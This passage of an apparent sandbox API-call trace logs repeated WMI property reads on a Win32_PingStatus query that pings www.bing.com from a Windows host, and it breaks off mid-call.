(bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.602] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896a68*=0, plFlavor=0x2896a6c*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2896a68*=3, plFlavor=0x2896a6c*=64) returned 0x0 [0141.602] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896a9c*=0, plFlavor=0x2896aa0*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2896a9c*=8200, plFlavor=0x2896aa0*=64) returned 0x0 [0141.603] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896ad0*=0, plFlavor=0x2896ad4*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2896ad0*=8, plFlavor=0x2896ad4*=64) returned 0x0 [0141.603] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.603] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.603] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896ad0*=8, plFlavor=0x2896ad4*=64 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2896ad0*=8, plFlavor=0x2896ad4*=64) returned 0x0 [0141.603] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.603] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.603] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.603] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.603] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.603] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.604] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0141.604] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.604] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.604] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0141.604] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.604] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.604] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.604] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.604] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.604] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.604] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.604] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.604] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.604] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.604] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.604] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.604] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.604] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.604] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.604] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.604] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.604] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.605] SysStringByteLen (bstr="__PATH") returned 0xc [0141.605] SysStringByteLen (bstr="__PATH") returned 0xc [0141.605] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2896ff0*=0, plFlavor=0x2896ff4*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2896ff0*=3, plFlavor=0x2896ff4*=64) returned 0x0 [0141.605] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897024*=0, plFlavor=0x2897028*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2897024*=8, plFlavor=0x2897028*=64) returned 0x0 [0141.605] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.605] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.605] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x289707c*=0, plFlavor=0x2897080*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x289707c*=8, plFlavor=0x2897080*=64) returned 0x0 [0141.605] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28970a4*=0, plFlavor=0x28970a8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28970a4*=8, plFlavor=0x28970a8*=64) returned 0x0 [0141.607] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.607] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.607] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28970fc*=0, plFlavor=0x2897100*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28970fc*=8, plFlavor=0x2897100*=64) returned 0x0 [0141.608] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.608] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.608] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28972d4*=0, plFlavor=0x28972d8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28972d4*=3, plFlavor=0x28972d8*=64) returned 0x0 [0141.608] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897308*=0, plFlavor=0x289730c*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2897308*=8200, plFlavor=0x289730c*=64) returned 0x0 [0141.608] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x289733c*=0, plFlavor=0x2897340*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x289733c*=8, plFlavor=0x2897340*=64) returned 0x0 [0141.608] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.608] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.608] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897388*=0, plFlavor=0x289738c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2897388*=8, plFlavor=0x289738c*=64) returned 0x0 [0141.608] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.609] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.609] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28973d4*=0, plFlavor=0x28973d8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28973d4*=8, plFlavor=0x28973d8*=64) returned 0x0 [0141.609] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.609] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.609] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Address", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897608*=0, plFlavor=0x289760c*=0 | out: pVal=0x59fe778*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2897608*=8, plFlavor=0x289760c*=0) returned 0x0 [0141.609] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.609] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.609] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.609] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0141.610] SafeArrayGetDim (psa=0x5cea250) returned 0x1 [0141.610] SafeArrayGetDim (psa=0x5cea250) returned 0x1 [0141.610] SafeArrayGetLBound (in: psa=0x5cea250, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0141.610] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.610] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.610] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.610] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.610] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.610] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.610] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.610] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.610] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.610] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.610] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.610] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.610] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.610] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.610] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.610] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.610] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.610] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.610] SysStringByteLen (bstr="__PATH") returned 0xc [0141.611] SysStringByteLen (bstr="__PATH") returned 0xc [0141.611] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28979d8*=0, plFlavor=0x28979dc*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28979d8*=3, plFlavor=0x28979dc*=64) returned 0x0 [0141.611] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897a0c*=0, plFlavor=0x2897a10*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2897a0c*=8, plFlavor=0x2897a10*=64) returned 0x0 [0141.611] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.611] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.611] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897a64*=0, plFlavor=0x2897a68*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897a64*=8, plFlavor=0x2897a68*=64) returned 0x0 [0141.611] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897a8c*=0, plFlavor=0x2897a90*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2897a8c*=8, plFlavor=0x2897a90*=64) returned 0x0 [0141.611] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.611] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.611] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897ae4*=0, plFlavor=0x2897ae8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2897ae4*=8, plFlavor=0x2897ae8*=64) returned 0x0 [0141.611] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.612] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.612] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897cbc*=0, plFlavor=0x2897cc0*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2897cbc*=3, plFlavor=0x2897cc0*=64) returned 0x0 [0141.612] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897cf0*=0, plFlavor=0x2897cf4*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea220*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2897cf0*=8200, plFlavor=0x2897cf4*=64) returned 0x0 [0141.612] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897d24*=0, plFlavor=0x2897d28*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2897d24*=8, plFlavor=0x2897d28*=64) returned 0x0 [0141.612] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.612] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.612] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897d70*=0, plFlavor=0x2897d74*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2897d70*=8, plFlavor=0x2897d74*=64) returned 0x0 [0141.612] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.612] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.612] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897dbc*=0, plFlavor=0x2897dc0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2897dbc*=8, plFlavor=0x2897dc0*=64) returned 0x0 [0141.613] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.613] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0141.613] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0141.613] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.613] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Address", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897ff0*=0, plFlavor=0x2897ff4*=0 | out: pVal=0x59fe7ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2897ff0*=8, plFlavor=0x2897ff4*=0) returned 0x0 [0141.613] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.613] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.613] IWbemClassObject:Get (in: This=0x5ce3798, wszName="Address", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2897ff0*=8, plFlavor=0x2897ff4*=0 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2897ff0*=8, plFlavor=0x2897ff4*=0) returned 0x0 [0141.613] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.613] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.614] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x598 [0141.614] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.614] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.614] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.614] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898c40*=0, plFlavor=0x2898c44*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2898c40*=8, plFlavor=0x2898c44*=64) returned 0x0 [0141.614] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.614] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.614] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898c40*=8, plFlavor=0x2898c44*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2898c40*=8, plFlavor=0x2898c44*=64) returned 0x0 [0141.614] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.614] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.614] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.614] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, 